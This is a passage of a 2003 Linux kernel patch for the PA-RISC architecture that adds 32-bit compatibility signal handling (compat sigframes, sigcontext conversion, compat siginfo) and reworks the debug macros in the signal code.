+		/* XXX: Don't preclude handling different sized sigset_t's.  */
+		if (sigsetsize != sizeof(compat_sigset_t))
+			return -EINVAL;
+		if (copy_from_user(&newset32, (compat_sigset_t *)unewset, sizeof(newset32)))
+			return -EFAULT;
+		sigset_32to64(&newset,&newset32);
+		
+	} else 
 #endif
+	{
+		/* XXX: Don't preclude handling different sized sigset_t's.  */
+		if (sigsetsize != sizeof(sigset_t))
+			return -EINVAL;
+	
+		if (copy_from_user(&newset, unewset, sizeof(newset)))
+			return -EFAULT;
+	}
+
 	sigdelsetmask(&newset, ~_BLOCKABLE);
 
 	spin_lock_irq(&current->sighand->siglock);
@@ -161,7 +131,9 @@ restore_sigcontext(struct sigcontext *sc
 	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
 	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
 	err |= __get_user(regs->sar, &sc->sc_sar);
-	DBG(("restore_sigcontext: r28 is %ld\n", regs->gr[28]));
+	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
+			regs->iaoq[0],regs->iaoq[1]);
+	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);
 	return err;
 }
 
@@ -174,6 +146,9 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	unsigned long usp = (regs->gr[30] & ~(0x01UL));
 	unsigned long sigframe_size = PARISC_RT_SIGFRAME_SIZE;
 #ifdef __LP64__
+	compat_sigset_t compat_set;
+	struct compat_rt_sigframe * compat_frame;
+	
 	if(personality(current->personality) == PER_LINUX32)
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
@@ -182,11 +157,23 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	/* Unwind the user stack to get the rt_sigframe structure. */
 	frame = (struct rt_sigframe *)
 		(usp - sigframe_size);
-	DBG(("in sys_rt_sigreturn, frame is %p\n", frame));
-
-	if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
-		goto give_sigsegv;
+	DBG(2,"sys_rt_sigreturn: frame is %p\n", frame);
 
+#ifdef __LP64__
+	compat_frame = (struct compat_rt_sigframe *)frame;
+	
+	if(personality(current->personality) == PER_LINUX32){
+		DBG(2,"sys_rt_sigreturn: ELF32 process.\n");
+		if (__copy_from_user(&compat_set, &compat_frame->uc.uc_sigmask, sizeof(compat_set)))
+			goto give_sigsegv;
+		sigset_32to64(&set,&compat_set);
+	} else
+#endif
+	{
+		if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
+			goto give_sigsegv;
+	}
+		
 	sigdelsetmask(&set, ~_BLOCKABLE);
 	spin_lock_irq(&current->sighand->siglock);
 	current->blocked = set;
@@ -194,17 +181,30 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	spin_unlock_irq(&current->sighand->siglock);
 
 	/* Good thing we saved the old gr[30], eh? */
-	if (restore_sigcontext(&frame->uc.uc_mcontext, regs))
-		goto give_sigsegv;
-
-	DBG(("usp: %#08lx stack %p", usp, &frame->uc.uc_stack));
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32){
+		DBG(1,"sys_rt_sigreturn: compat_frame->uc.uc_mcontext 0x%p\n",
+				&compat_frame->uc.uc_mcontext);
+		if (restore_sigcontext32(&compat_frame->uc.uc_mcontext, regs))
+			goto give_sigsegv;
+		DBG(1,"sys_rt_sigreturn: usp %#08lx stack 0x%p\n", 
+				usp, &compat_frame->uc.uc_stack);
+		if (do_sigaltstack32(&compat_frame->uc.uc_stack, NULL, usp) == -EFAULT)
+			goto give_sigsegv;
+	} else
+#endif
+	{
+		DBG(1,"sys_rt_sigreturn: frame->uc.uc_mcontext 0x%p\n",
+				&frame->uc.uc_mcontext);
+		if (restore_sigcontext(&frame->uc.uc_mcontext, regs))
+			goto give_sigsegv;
+		DBG(1,"sys_rt_sigreturn: usp %#08lx stack 0x%p\n", 
+				usp, &frame->uc.uc_stack);
+		if (do_sigaltstack(&frame->uc.uc_stack, NULL, usp) == -EFAULT)
+			goto give_sigsegv;
+	}
+		
 
-	/* I don't know why everyone else assumes they can call this
-           with a pointer to a stack_t on the kernel stack.  That
-           makes no sense.  Anyway we'll do it like m68k, since we
-           also are using segmentation in the same way as them. */
-	if (do_sigaltstack(&frame->uc.uc_stack, NULL, usp) == -EFAULT)
-		goto give_sigsegv;
 
 	/* If we are on the syscall path IAOQ will not be restored, and
 	 * if we are on the interrupt path we must not corrupt gr31.
@@ -212,14 +212,13 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	if (in_syscall)
 		regs->gr[31] = regs->iaoq[0];
 #if DEBUG_SIG
-	DBG(("returning to %#lx\n", regs->iaoq[0]));
-	DBG(("in sys_rt_sigreturn:\n"));
+	DBG(1,"sys_rt_sigreturn: returning to %#lx, DUMPING REGS:\n", regs->iaoq[0]);
 	show_regs(regs);
 #endif
 	return;
 
 give_sigsegv:
-	DBG(("sys_rt_sigreturn sending SIGSEGV\n"));
+	DBG(1,"sys_rt_sigreturn: Sending SIGSEGV\n");
 	si.si_signo = SIGSEGV;
 	si.si_errno = 0;
 	si.si_code = SI_KERNEL;
@@ -237,9 +236,16 @@ give_sigsegv:
 static inline void *
 get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
 {
+	/*FIXME: ELF32 vs. ELF64 has different frame_size, but since we
+	  don't use the parameter it doesn't matter */
+
+	DBG(1,"get_sigframe: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
+			(unsigned long)ka, sp, frame_size);
+	
 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! on_sig_stack(sp))
 		sp = current->sas_ss_sp; /* Stacks grow up! */
 
+	DBG(1,"get_sigframe: Returning sp = %#lx\n", (unsigned long)sp);
 	return (void *) sp; /* Stacks grow up.  Fun. */
 }
 
@@ -259,20 +265,20 @@ setup_sigcontext(struct sigcontext *sc, 
 		err |= __put_user(regs->gr[31]+4, &sc->sc_iaoq[1]);
 		err |= __put_user(regs->sr[3], &sc->sc_iasq[0]);
 		err |= __put_user(regs->sr[3], &sc->sc_iasq[1]);
-		DBG(("setup_sigcontext: iaoq %#lx/%#lx\n",
-			regs->gr[31], regs->gr[31]));
+		DBG(1,"setup_sigcontext: iaoq %#lx / %#lx (in syscall)\n",
+			regs->gr[31], regs->gr[31]+4);
 	} else {
 		err |= __copy_to_user(sc->sc_iaoq, regs->iaoq, sizeof(regs->iaoq));
 		err |= __copy_to_user(sc->sc_iasq, regs->iasq, sizeof(regs->iasq));
-		DBG(("setup_sigcontext: iaoq %#lx/%#lx\n", 
-			regs->iaoq[0], regs->iaoq[1]));
+		DBG(1,"setup_sigcontext: iaoq %#lx / %#lx (not in syscall)\n", 
+			regs->iaoq[0], regs->iaoq[1]);
 	}
 
 	err |= __put_user(flags, &sc->sc_flags);
 	err |= __copy_to_user(sc->sc_gr, regs->gr, sizeof(regs->gr));
 	err |= __copy_to_user(sc->sc_fr, regs->fr, sizeof(regs->fr));
 	err |= __put_user(regs->sar, &sc->sc_sar);
-	DBG(("setup_sigcontext: r28 is %ld\n", regs->gr[28]));
+	DBG(1,"setup_sigcontext: r28 is %ld\n", regs->gr[28]);
 
 	return err;
 }
@@ -286,19 +292,53 @@ setup_rt_frame(int sig, struct k_sigacti
 	unsigned long haddr, sigframe_size;
 	struct siginfo si;
 	int err = 0;
-
+#ifdef __LP64__
+	compat_int_t compat_val;
+	struct compat_rt_sigframe * compat_frame;
+	compat_sigset_t compat_set;
+#endif
+	
 	usp = (regs->gr[30] & ~(0x01UL));
+	/*FIXME: frame_size parameter is unused, remove it. */
 	frame = get_sigframe(ka, usp, sizeof(*frame));
 
-	DBG(("setup_rt_frame 1: frame %p info %p\n", frame, info));
+	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, info);
 
-	err |= __copy_to_user(&frame->info, info, sizeof(siginfo_t));
-	err |= __put_user(current->sas_ss_sp, &frame->uc.uc_stack.ss_sp);
-	err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_size);
-	err |= __put_user(sas_ss_flags(regs->gr[30]),
-			  &frame->uc.uc_stack.ss_flags);
-	err |= setup_sigcontext(&frame->uc.uc_mcontext, regs, in_syscall);
-	err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set));
+	
+#ifdef __LP64__
+
+	compat_frame = (struct compat_rt_sigframe *)frame;
+	
+	if(personality(current->personality) == PER_LINUX32) {
+		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
+		err |= compat_copy_siginfo_to_user(&compat_frame->info, info);
+		compat_val = (compat_int_t)current->sas_ss_sp;
+		err |= __put_user(compat_val, &compat_frame->uc.uc_stack.ss_sp);
+		compat_val = (compat_int_t)current->sas_ss_size;
+		err |= __put_user(compat_val, &compat_frame->uc.uc_stack.ss_size);
+		compat_val = sas_ss_flags(regs->gr[30]);		
+		err |= __put_user(compat_val, &compat_frame->uc.uc_stack.ss_flags);		
+		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &compat_frame->uc);
+		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &compat_frame->uc.uc_mcontext);
+		err |= setup_sigcontext32(&compat_frame->uc.uc_mcontext, regs, in_syscall);
+		sigset_64to32(&compat_set,set);
+		err |= __copy_to_user(&compat_frame->uc.uc_sigmask, &compat_set, sizeof(compat_set));
+	} else
+#endif
+	{	
+		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &frame->info);
+		err |= copy_siginfo_to_user(&frame->info, info);
+		err |= __put_user(current->sas_ss_sp, &frame->uc.uc_stack.ss_sp);
+		err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_size);
+		err |= __put_user(sas_ss_flags(regs->gr[30]),
+				  &frame->uc.uc_stack.ss_flags);
+		DBG(1,"setup_rt_frame: frame->uc = 0x%p\n", &frame->uc);
+		DBG(1,"setup_rt_frame: frame->uc.uc_mcontext = 0x%p\n", &frame->uc.uc_mcontext);
+		err |= setup_sigcontext(&frame->uc.uc_mcontext, regs, in_syscall);
+		/* FIXME: Should probably be converted aswell for the compat case */
+		err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set));
+	}
+	
 	if (err)
 		goto give_sigsegv;
 
@@ -315,8 +355,8 @@ setup_rt_frame(int sig, struct k_sigacti
 	{
 		int sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
-		DBG(("flushing 64 bytes at space %#x offset %p\n",
-		       sid, frame->tramp));
+		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
+		       sid, frame->tramp);
 	}
 #endif
 
@@ -359,8 +399,8 @@ setup_rt_frame(int sig, struct k_sigacti
 		
 		haddr = fdesc.addr;
 		regs->gr[19] = fdesc.gp;
-		DBG(("64 bit signal, exe=%#lx, r19=%#lx, in_syscall=%d\n",
-		     haddr, regs->gr[19], in_syscall));
+		DBG(1,"setup_rt_frame: 64 bit signal, exe=%#lx, r19=%#lx, in_syscall=%d\n",
+		     haddr, regs->gr[19], in_syscall);
 	}
 #endif
 
@@ -391,24 +431,33 @@ setup_rt_frame(int sig, struct k_sigacti
 
 	regs->gr[2]  = rp;                /* userland return pointer */
 	regs->gr[26] = sig;               /* signal number */
-	regs->gr[25] = A(&frame->info); /* siginfo pointer */
-	regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
 	
-	DBG(("making sigreturn frame: %#lx + %#x = %#lx\n",
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32){
+		regs->gr[25] = A(&compat_frame->info); /* siginfo pointer */
+		regs->gr[24] = A(&compat_frame->uc);   /* ucontext pointer */
+	} else
+#endif
+	{		
+		regs->gr[25] = A(&frame->info); /* siginfo pointer */
+		regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
+	}
+	
+	DBG(1,"setup_rt_frame: making sigreturn frame: %#lx + %#lx = %#lx\n",
 	       regs->gr[30], sigframe_size,
-	       regs->gr[30] + sigframe_size));
+	       regs->gr[30] + sigframe_size);
 	/* Raise the user stack pointer to make a proper call frame. */
 	regs->gr[30] = (A(frame) + sigframe_size);
 
 
-	DBG(("SIG deliver (%s:%d): frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
+	DBG(1,"setup_rt_frame: sig deliver (%s,%d) frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
 	       current->comm, current->pid, frame, regs->gr[30],
-	       regs->iaoq[0], regs->iaoq[1], rp));
+	       regs->iaoq[0], regs->iaoq[1], rp);
 
 	return 1;
 
 give_sigsegv:
-	DBG(("setup_rt_frame sending SIGSEGV\n"));
+	DBG(1,"setup_rt_frame: sending SIGSEGV\n");
 	if (sig == SIGSEGV)
 		ka->sa.sa_handler = SIG_DFL;
 	si.si_signo = SIGSEGV;
@@ -431,8 +480,8 @@ handle_signal(unsigned long sig, siginfo
 {
 	struct k_sigaction *ka = &current->sighand->action[sig-1];
 
-	DBG(("handle_signal(sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p)\n",
-	       sig, ka, info, oldset, regs));
+	DBG(1,"handle_signal: sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p\n",
+	       sig, ka, info, oldset, regs);
 	
 	/* Set up the stack frame */
 	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
@@ -470,8 +519,8 @@ do_signal(sigset_t *oldset, struct pt_re
 	struct k_sigaction *ka;
 	int signr;
 
-	DBG(("do_signal(oldset=0x%p, regs=0x%p, sr7 %#lx, pending %d, in_syscall=%d\n",
-	       oldset, regs, regs->sr[7], current->sigpending, in_syscall));
+	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
+	       oldset, regs, regs->sr[7], in_syscall);
 
 	/* Everyone else checks to see if they are in kernel mode at
 	   this point and exits if that's the case.  I'm not sure why
@@ -481,12 +530,13 @@ do_signal(sigset_t *oldset, struct pt_re
 	if (!oldset)
 		oldset = &current->blocked;
 
-	DBG(("do_signal: oldset %08lx:%08lx\n", 
-		oldset->sig[0], oldset->sig[1]));
+	DBG(1,"do_signal: oldset %08lx / %08lx\n", 
+		oldset->sig[0], oldset->sig[1]);
 
 
 	signr = get_signal_to_deliver(&info, regs, NULL);
-	/* printk("do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); */
+	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
+	
 	if (signr > 0) {
 		/* Restart a system call if necessary. */
 		if (in_syscall) {
@@ -495,14 +545,14 @@ do_signal(sigset_t *oldset, struct pt_re
 		        case -ERESTART_RESTARTBLOCK:
 				current_thread_info()->restart_block.fn = do_no_restart_syscall;
 			case -ERESTARTNOHAND:
-				DBG(("ERESTARTNOHAND: returning -EINTR\n"));
+				DBG(1,"ERESTARTNOHAND: returning -EINTR\n");
 				regs->gr[28] = -EINTR;
 				break;
 
 			case -ERESTARTSYS:
 				ka = &current->sighand->action[signr-1];
 				if (!(ka->sa.sa_flags & SA_RESTART)) {
-					DBG(("ERESTARTSYS: putting -EINTR\n"));
+					DBG(1,"ERESTARTSYS: putting -EINTR\n");
 					regs->gr[28] = -EINTR;
 					break;
 				}
@@ -521,9 +571,8 @@ do_signal(sigset_t *oldset, struct pt_re
 		   delivery failed, we need to continue to iterate in
 		   this loop so we can deliver the SIGSEGV... */
 		if (handle_signal(signr, &info, oldset, regs, in_syscall)) {
-			DBG((KERN_DEBUG
-				"Exiting do_signal (success), regs->gr[28] = %ld\n",
-				regs->gr[28]));
+			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
+				regs->gr[28]);
 			return 1;
 		}
 	}
@@ -577,8 +626,8 @@ do_signal(sigset_t *oldset, struct pt_re
 		}
 	}
 	
-	DBG(("Exiting do_signal (not delivered), regs->gr[28] = %ld\n", 
-		regs->gr[28]));
+	DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n", 
+		regs->gr[28]);
 
 	return 0;
 }
--- arch/parisc/kernel/signal32.c	29 Jul 2003 17:00:41 -0000	1.1
+++ arch/parisc/kernel/signal32.c	3 Dec 2003 06:49:32 -0000
@@ -10,20 +10,32 @@
 #include <linux/types.h>
 #include <linux/errno.h>
 
+#include <asm/compat_signal.h>
 #include <asm/uaccess.h>
+
+#include "signal32.h"
 #include "sys32.h"
 
-struct k_sigaction32 {
-	struct sigaction32 sa;
-};
+#define DEBUG_COMPAT_SIG 0 
+#define DEBUG_COMPAT_SIG_LEVEL 2
+
+#if DEBUG_COMPAT_SIG
+#define DBG(LEVEL, ...) \
+	((DEBUG_COMPAT_SIG_LEVEL >= LEVEL) \
+	? printk(__VA_ARGS__) : (void) 0)
+#else
+#define DBG(LEVEL, ...)
+#endif
 
-static inline void
+#define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
+
+inline void
 sigset_32to64(sigset_t *s64, compat_sigset_t *s32)
 {
 	s64->sig[0] = s32->sig[0] | ((unsigned long)s32->sig[1] << 32);
 }
 
-static inline void
+inline void
 sigset_64to32(compat_sigset_t *s32, sigset_t *s64)
 {
 	s32->sig[0] = s64->sig[0] & 0xffffffffUL;
@@ -120,16 +132,10 @@ sys32_rt_sigaction(int sig, const struct
 	return ret;
 }
 
-typedef struct {
-	unsigned int ss_sp;
-	int ss_flags;
-	compat_size_t ss_size;
-} stack_t32;
-
 int 
-do_sigaltstack32 (const stack_t32 *uss32, stack_t32 *uoss32, unsigned long sp)
+do_sigaltstack32 (const compat_stack_t *uss32, compat_stack_t *uoss32, unsigned long sp)
 {
-	stack_t32 ss32, oss32;
+	compat_stack_t ss32, oss32;
 	stack_t ss, oss;
 	stack_t *ssp = NULL, *ossp = NULL;
 	int ret;
@@ -159,4 +165,128 @@ do_sigaltstack32 (const stack_t32 *uss32
 	}
 
 	return ret;
+}
+
+long
+restore_sigcontext32(struct compat_sigcontext *sc, struct pt_regs *regs)
+{
+	long err = 0;
+	compat_int_t compat_reg;
+	int regn;
+	
+	/* When loading 32-bit values into 64-bit registers make
+	   sure to clear the upper 32-bits */
+	DBG(2,"restore_sigcontext32: PER_LINUX32 process\n");
+	DBG(2,"restore_sigcontext32: sc = 0x%p, regs = 0x%p\n",sc,regs);
+	DBG(2,"restore_sigcontext32: compat_sigcontext is %#lx bytes\n", sizeof(*sc));
+	for(regn=0; regn < 32; regn++){
+		err |= __get_user(compat_reg,&sc->sc_gr[regn]);
+		regs->gr[regn] = compat_reg;
+	}
+	DBG(2,"restore_sigcontext32: sc->sc_fr = 0x%p\n",sc->sc_fr);
+	/* XXX: BE WARNED FR's are 64-BIT! */
+	err |= __copy_from_user(regs->fr, sc->sc_fr, sizeof(regs->fr));
+		
+	/* Better safe than sorry, pass __get_user two things of
+	   the same size and let gcc do the upward conversion to 
+	   64-bits */		
+	err |= __get_user(compat_reg, &sc->sc_iaoq[0]);
+	DBG(2,"restore_sigcontext32: sc->sc_iaoq[0] = %p => %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+	regs->iaoq[0] = compat_reg;
+	err |= __get_user(compat_reg, &sc->sc_iaoq[1]);
+	DBG(2,"restore_sigcontext32: sc->sc_iaoq[1] = %p => %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+	regs->iaoq[1] = compat_reg;
+	DBG(2,"restore_sigcontext32: iaoq is %#lx / %#lx\n", 
+		regs->iaoq[0],regs->iaoq[1]);		
+	
+	err |= __get_user(compat_reg, &sc->sc_iasq[0]);
+	regs->iasq[0] = compat_reg;
+	err |= __get_user(compat_reg, &sc->sc_iasq[1]);
+	regs->iasq[1] = compat_reg;
+	DBG(2,"restore_sigcontext32: iasq is %#lx / %#lx\n", 
+		regs->iasq[0],regs->iasq[1]);		
+
+	err |= __get_user(compat_reg, &sc->sc_sar);
+	regs->sar = compat_reg;
+	
+	DBG(2,"restore_sigcontext32: r28 is %ld\n", regs->gr[28]);
+	return err;
+}
+
+/*
+ * Set up the sigcontext structure for this process.
+ * This is not an easy task if the kernel is 64-bit, it will require
+ * that we examine the process personality to determine if we need to
+ * truncate for a 32-bit userspace.
+ */
+long
+setup_sigcontext32(struct compat_sigcontext *sc, struct pt_regs *regs, int in_syscall)
+		 
+{
+	compat_int_t flags = 0;
+	long err = 0;
+	compat_int_t compat_reg;
+	int regn;
+	
+	if (on_sig_stack((unsigned long) sc))
+		flags |= PARISC_SC_FLAG_ONSTACK;
+	
+	if (in_syscall) {
+		DBG(1,"setup_sigcontext32: in_syscall\n");
+		flags |= PARISC_SC_FLAG_IN_SYSCALL;
+		/* Truncate gr31 */
+		compat_reg = (compat_int_t)(regs->gr[31]);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[0] = %p <= %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+		/* regs->iaoq is undefined in the syscall return path */
+		err |= __put_user(compat_reg, &sc->sc_iaoq[0]);
+		compat_reg = (compat_int_t)(regs->gr[31]+4);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[1] = %p <= %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[1]);
+		/* Truncate sr3 */
+		compat_reg = (compat_int_t)(regs->sr[3]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[0]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[1]);		
+		
+		DBG(1,"setup_sigcontext32: iaoq %#lx / %#lx\n",
+			regs->gr[31], regs->gr[31]+4);
+	} else {
+		compat_reg = (compat_int_t)(regs->iaoq[0]);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[0] = %p <= %#x\n",
+				&sc->sc_iaoq[0],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[0]);
+		compat_reg = (compat_int_t)(regs->iaoq[1]);
+		DBG(2,"setup_sigcontext32: sc->sc_iaoq[1] = %p <= %#x\n",
+				&sc->sc_iaoq[1],compat_reg);
+		err |= __put_user(compat_reg, &sc->sc_iaoq[1]);
+		
+		compat_reg = (compat_int_t)(regs->iasq[0]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[0]);
+		compat_reg = (compat_int_t)(regs->iasq[1]);
+		err |= __put_user(compat_reg, &sc->sc_iasq[1]);
+		
+		DBG(1,"setup_sigcontext32: iaoq %#lx / %#lx\n", 
+			regs->iaoq[0], regs->iaoq[1]);
+	}
+
+	err |= __put_user(flags, &sc->sc_flags);
+	
+	DBG(1,"setup_sigcontext32: Truncating.\n");
+	for(regn=0; regn < 32; regn++){
+		/* Truncate a general register */
+		compat_reg = (compat_int_t)(regs->gr[regn]);
+		err |= __put_user(compat_reg, &sc->sc_gr[regn]);
+	}
+	/* Copy the floating point registers (same size)  */
+	/* XXX: BE WARNED FR's are 64-BIT! */
+	err |= __copy_to_user(sc->sc_fr, regs->fr, sizeof(regs->fr));
+	compat_reg = (compat_int_t)(regs->sar);
+	err |= __put_user(compat_reg, &sc->sc_sar);
+
+	DBG(1,"setup_sigcontext32: r28 is %ld\n", regs->gr[28]);
+
+	return err;
 }
--- include/asm-parisc/compat.h	28 Oct 2003 06:55:24 -0000	1.2
+++ include/asm-parisc/compat.h	3 Dec 2003 06:49:35 -0000
@@ -24,6 +24,7 @@ typedef u16	compat_nlink_t;
 typedef u16	compat_ipc_pid_t;
 typedef s32	compat_daddr_t;
 typedef u32	compat_caddr_t;
+typedef u32	compat_timer_t;
 
 typedef s32	compat_int_t;
 typedef s32	compat_long_t;
@@ -99,6 +100,15 @@ struct compat_statfs {
 	s32		f_namelen;
 	s32		f_frsize;
 	s32		f_spare[5];
+};
+
+struct compat_sigcontext {
+	compat_int_t sc_flags;
+	compat_int_t sc_gr[32]; /* PSW in sc_gr[0] */
+	u64 sc_fr[32]; /* FIXME, do we need other state info? */
+	compat_int_t sc_iasq[2];
+	compat_int_t sc_iaoq[2];
+	compat_int_t sc_sar; /* cr11 */
 };
 
 #define COMPAT_RLIM_INFINITY 0xffffffff
--- include/asm-parisc/rt_sigframe.h	24 Sep 2003 17:54:31 -0000	1.2
+++ include/asm-parisc/rt_sigframe.h	3 Dec 2003 06:49:35 -0000
@@ -1,22 +1,13 @@
 #ifndef _ASM_PARISC_RT_SIGFRAME_H
 #define _ASM_PARISC_RT_SIGFRAME_H
 
+#include <asm/compat_rt_sigframe.h>
+
 struct rt_sigframe {
 	unsigned int tramp[4];
 	struct siginfo info;
 	struct ucontext uc;
 };
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
 
 #ifdef __LP64__
 #define	SIGFRAME		128
--- include/asm-parisc/siginfo.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/siginfo.h	3 Dec 2003 06:49:35 -0000
@@ -1,8 +1,6 @@
 #ifndef _PARISC_SIGINFO_H
 #define _PARISC_SIGINFO_H
 
-#define HAVE_ARCH_COPY_SIGINFO_TO_USER
-
 #include <asm-generic/siginfo.h>
 
 /*
--- include/asm-parisc/ucontext.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/ucontext.h	3 Dec 2003 06:49:35 -0000
@@ -1,12 +1,12 @@
-#ifndef _ASMPARISC_UCONTEXT_H
-#define _ASMPARISC_UCONTEXT_H
+#ifndef _ASM_PARISC_UCONTEXT_H
+#define _ASM_PARISC_UCONTEXT_H
 
 struct ucontext {
-	unsigned long	  uc_flags;
+	unsigned int	  uc_flags;
 	struct ucontext  *uc_link;
 	stack_t		  uc_stack;
 	struct sigcontext uc_mcontext;
 	sigset_t	  uc_sigmask;	/* mask last for extensibility */
 };
 
-#endif /* !_ASMPARISC_UCONTEXT_H */
+#endif /* !_ASM_PARISC_UCONTEXT_H */
--- kernel/Makefile	8 Oct 2003 20:53:06 -0000	1.6
+++ kernel/Makefile	3 Dec 2003 06:49:35 -0000
@@ -5,7 +5,7 @@
 obj-y     = sched.o fork.o exec_domain.o panic.o printk.o profile.o \
 	    exit.o itimer.o time.o softirq.o resource.o \
 	    sysctl.o capability.o ptrace.o timer.o user.o \
-	    signal.o sys.o kmod.o workqueue.o pid.o \
+	    compat_signal.o signal.o sys.o kmod.o workqueue.o pid.o \
 	    rcupdate.o intermodule.o extable.o params.o posix-timers.o
 
 obj-$(CONFIG_FUTEX) += futex.o
--- kernel/signal.c	24 Nov 2003 03:16:26 -0000	1.8
+++ kernel/signal.c	3 Dec 2003 06:49:35 -0000
@@ -24,9 +24,11 @@
 #include <linux/binfmts.h>
 #include <linux/security.h>
 #include <linux/ptrace.h>
+#include <linux/personality.h>
 #include <asm/param.h>
 #include <asm/uaccess.h>
 #include <asm/siginfo.h>
+#include <asm/compat_siginfo.h>
 
 /*
  * SLAB caches for signal bits.
@@ -2006,6 +2008,12 @@ int copy_siginfo_to_user(siginfo_t __use
 	if (from->si_code < 0)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
+
+	/* Use compat_siginfo_t with 32-bit signals */
+	if(personality(current->personality) == PER_LINUX32){
+		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
+	}
+	
 	/*
 	 * If you change siginfo_t structure, please be sure
 	 * this code is fixed accordingly.
--- arch/parisc/kernel/signal32.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ arch/parisc/kernel/signal32.h	2003-11-28 15:18:40.000000000 -0500
@@ -0,0 +1,22 @@
+#ifndef _PARISC64_KERNEL_SIGNAL32_H
+#define _PARISC64_KERNEL_SIGNAL32_H
+
+#include <linux/compat.h>
+#include <asm/compat_signal.h>
+
+/* ELF32 signal handling */
+
+struct k_sigaction32 {
+	struct compat_sigaction sa;
+};
+
+void sigset_32to64(sigset_t *s64, compat_sigset_t *s32);
+void sigset_64to32(compat_sigset_t *s32, sigset_t *s64);
+int do_sigaltstack32 (const compat_stack_t *uss32, 
+		compat_stack_t *uoss32, unsigned long sp);
+long restore_sigcontext32(struct compat_sigcontext *sc, 
+		struct pt_regs *regs);
+long setup_sigcontext32(struct compat_sigcontext *sc, 
+		struct pt_regs *regs, int in_syscall);
+
+#endif
--- include/asm-generic/compat_siginfo.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_siginfo.h	2003-11-28 07:49:19.000000000 -0500
@@ -0,0 +1,154 @@
+#include <linux/compiler.h>
+#include <linux/types.h>
+#include <linux/compat.h>
+
+#ifndef _ASM_GENERIC_COMPAT_SIGINFO_H
+#define _ASM_GENERIC_COMPAT_SIGINFO_H
+
+/* compat view of sigval_t */
+typedef union compat_sigval {
+	compat_int_t sival_int;
+	compat_uptr_t sival_ptr;
+} compat_sigval_t;
+
+/*
+ * This is the size (including padding) of the part of the
+ * struct siginfo that is before the union.
+ */
+#ifndef __ARCH_SI_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(int))
+#endif
+
+#define SI_COMPAT_MAX_SIZE	128
+#ifndef SI_COMPAT_PAD_SIZE
+#define SI_COMPAT_PAD_SIZE	((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(int))
+#endif
+
+/* ELF32 view of si.uid_t */
+#ifndef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T compat_uid_t
+#endif
+
